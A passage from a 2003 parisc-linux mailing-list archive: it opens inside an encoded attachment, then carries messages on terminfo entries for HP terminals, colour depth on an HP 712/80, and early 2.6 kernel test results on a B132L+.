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
XQIA

--========/3F2E2C77000006C7/mail.tiscali.be--


From - Thu Nov 08 21:28:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Terminfo/termcap for a 70096 ...
Date: Tue, 5 Aug 2003 14:38:23 -0400 (EDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <200308051838.h75IcNNC016978@hiauly1.hia.nrc.ca>
References: <03Aug5.161359cest.119152@ns.hiscom.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622650 28790 80.91.229.3 (22 Nov 2014 02:17:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:30 +0000 (UTC)
Cc: willy@debian.org, parisc-linux@lists.parisc-linux.org
To: c.beerse@torex-hiscom.nl (=?iso-8859-1?Q?=22Beerse=2C_Corn=E9=22?=)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug  5 12:38:29 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 98C2F482E
	for <parisc-linux@lists.parisc-linux.org>; Tue,  5 Aug 2003 12:38:28 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h75IcOgL016980;
	Tue, 5 Aug 2003 14:38:24 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h75IcNNC016978;
	Tue, 5 Aug 2003 14:38:23 -0400 (EDT)
In-Reply-To: <03Aug5.161359cest.119152@ns.hiscom.nl> from "=?iso-8859-1?Q?=22Beerse=2C_Corn=E9=22?=" at Aug 5, 2003 03:53:34 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19104

> > On Tue, Aug 05, 2003 at 03:04:24PM +0200, "Beerse, Corn=E9" wrote:
> > > Unfortunatly, while installing DebianWoody on a D370, I found none =
> of
> them
> > > in the terminfo database (and no termcap file). And the HP700/96 =
> came
> with
> > > the D370. I know one thing to do after finalizing the install....
> >=20
> > Yeah, Debian doesn't have termcap, there's a document somewhere that
> > explains why.
> 
> I don't care if they use termcap or terminfo. It bothers me that they =
> have
> no HP700xx entry in there, not even in the pa-risc distribution. =
> Specially
> the pa-risc distro can find a 700xx terminal at its console so it would =
> be
> nice if the TERM boot parameter can be set to indicate a hp700 =
> terminal.

GNU ncurses 2.2 has an entry for a HP 700/44 which is probably usable.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:28:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Russell Romain" <thecrushedangel@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 712/80 Video
Date: Wed, 06 Aug 2003 06:27:46 +0000
Lines: 9
Approved: news@gmane.org
Message-ID: <BAY8-F65I5BrxJuLpTk0003312e@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
X-Trace: ger.gmane.org 1416622650 28792 80.91.229.3 (22 Nov 2014 02:17:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:30 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug  6 00:27:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (bay8-f65.bay8.hotmail.com [64.4.27.65])
	by dsl2.external.hp.com (Postfix) with ESMTP id 362AF482E
	for <parisc-linux@lists.parisc-linux.org>; Wed,  6 Aug 2003 00:27:47 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Tue, 5 Aug 2003 23:27:46 -0700
Original-Received: from 65.95.85.160 by by8fd.bay8.hotmail.msn.com with HTTP;
	Wed, 06 Aug 2003 06:27:46 GMT
X-Originating-IP: [65.95.85.160]
X-Originating-Email: [thecrushedangel@hotmail.com]
X-OriginalArrivalTime: 06 Aug 2003 06:27:46.0483 (UTC) FILETIME=[D9B69030:01C35BE3]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19105

Okay, Iv done some research,  I have a HP 712/80 im playing with,  is it 
correct that Im not going to get above 8bit 256colors on it?  Or is there 
anything I can do to get 16bit color ?

_________________________________________________________________
STOP MORE SPAM with the new MSN 8 and get 2 months FREE*   
http://join.msn.com/?page=features/junkmail



From - Thu Nov 08 21:28:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.x - impressions
Date: Wed, 6 Aug 2003 08:56:47 +0200
Lines: 86
Approved: news@gmane.org
Message-ID: <20030806065647.GP1873@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="nEiUIFvcAhJzEN7U"
X-Trace: ger.gmane.org 1416622650 28794 80.91.229.3 (22 Nov 2014 02:17:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:30 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug  6 00:56:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id DE0D4482E
	for <parisc-linux@lists.parisc-linux.org>; Wed,  6 Aug 2003 00:56:48 -0600 (MDT)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id AAE7A4AA03; Wed,  6 Aug 2003 08:56:47 +0200 (CEST)
Content-Disposition: inline
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19106

--nEiUIFvcAhJzEN7U
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi!

Now, where __cffc is checked in, I did some testing with
2.6.0-test2-pa6. This has been done on a B132L+, 768MB RAM, IBM PS/2
keyboard.

- On my keyboard (german "QWERTZ" layout) the key containing '>', '<'
  and '|' doesn't work any longer. Annoying cut'n'paste starts right
  here8^>

- If I strace some program, the box will crash some time later (while
  strace is still running). I can still toggle the NumLock LED by
  pressing the NumLock button, power doesn't instantly go off if I press
  the button. Hmmm... SysRQ doesn't work either, but is switched on in
  .config. Seems PrintScreen doesn't work either.
  TOC gives back access to the box, I haven't yet looked at the data.
  2.4.x does do the same thing on strace, though...

- Neither ALSA nor the OSS driver for harmony can be compiled. No sound
  (but I remember from 2.4.x that sound playing was unstable - when I
  placed some load on the box, it would eventually Oops...).

- I became brave and installed XFree86, using the framebuffer driver:

STI GSC/PCI core graphics driver Version 0.9a
STI word mode ROM at f0011000, hpa at f8000000
STI id 2d08c0a7-9a02587, conforms to spec rev. 8.07
STI device: INTERNAL_EG_1280
fb0: stifb 1280x1024-8 frame buffer device, id: 2d08c0a7, mmio:
0xf8100000
Console: switching to colour frame buffer device 160x64

  It starts, I can perfectly see X11's rasterized background. But when
  WindowMaker loads it's background image, the screen goes mostly black.
  Some white points can be seen (I feel like these are where colors of
  real contrast meet each other, so I can see the outlines of context
  menus...), but that's not enough to really work with it:)

- 2.6.x "feels" a bit slower than 2.4.x (while still using HZ =3D=3D 100 for
  hppa1.1 machines), but that's what everybody and his mother tell you
  wrt. any given architecture...

- I installed mozilla on my Athlon and on this B132L+ and started both
  via 'ssh -X' from my laptop (using --no-remote). Comparable
  startup-times for both, while my Athlon has 10x CPU MHz, 2x CPU count
  and 2x RAM size. Nice:)


To draw a conclusion: Nice work:) Some minor tweaks need to be done
(keyboard, graphics, strace), but 2/3 of them need to be done for 2.4.x,
too. I think the keyboard thing is quite easy, and for the graphics,
maybe that's only a small colormap problem. The strace problem (which is
present in 2.4.x, too) looks a bit more complicated, but I'll have a
look at the PIM and post new infos afterwards.

Sound would be an add-on-feature, but personally I don't care much about
it. I'm not one of those multimedia guys...

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
      ret =3D do_actions((curr | FREE_SPEECH) & ~(IRAQ_WAR_2 | DRM | TCPA));

--nEiUIFvcAhJzEN7U
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.2 (GNU/Linux)

iD8DBQE/MKauHb1edYOZ4bsRAtyXAJ9I7cKfTHcxQNsL4gtaOVIfb3KW8gCbB9FF
0vDsZ5h8Cdk4v+EOzghpANo=
=XJQK
-----END PGP SIGNATURE-----

--nEiUIFvcAhJzEN7U--


From - Thu Nov 08 21:28:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] bitops.h patch
Date: Wed, 6 Aug 2003 10:23:59 +0200
Lines: 134
Approved: news@gmane.org
Message-ID: <3F2E54A800000406@ocpmta8.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="========/3F2E54A800000406/mail.tiscali.be"
X-Trace: ger.gmane.org 1416622651 28798 80.91.229.3 (22 Nov 2014 02:17:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug  6 02:24:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 48527482E
	for <parisc-linux@lists.parisc-linux.org>; Wed,  6 Aug 2003 02:24:07 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19kJXI-0006lS-00; Wed, 06 Aug 2003 10:20:44 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Wed, 6 Aug 2003 10:23:59 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
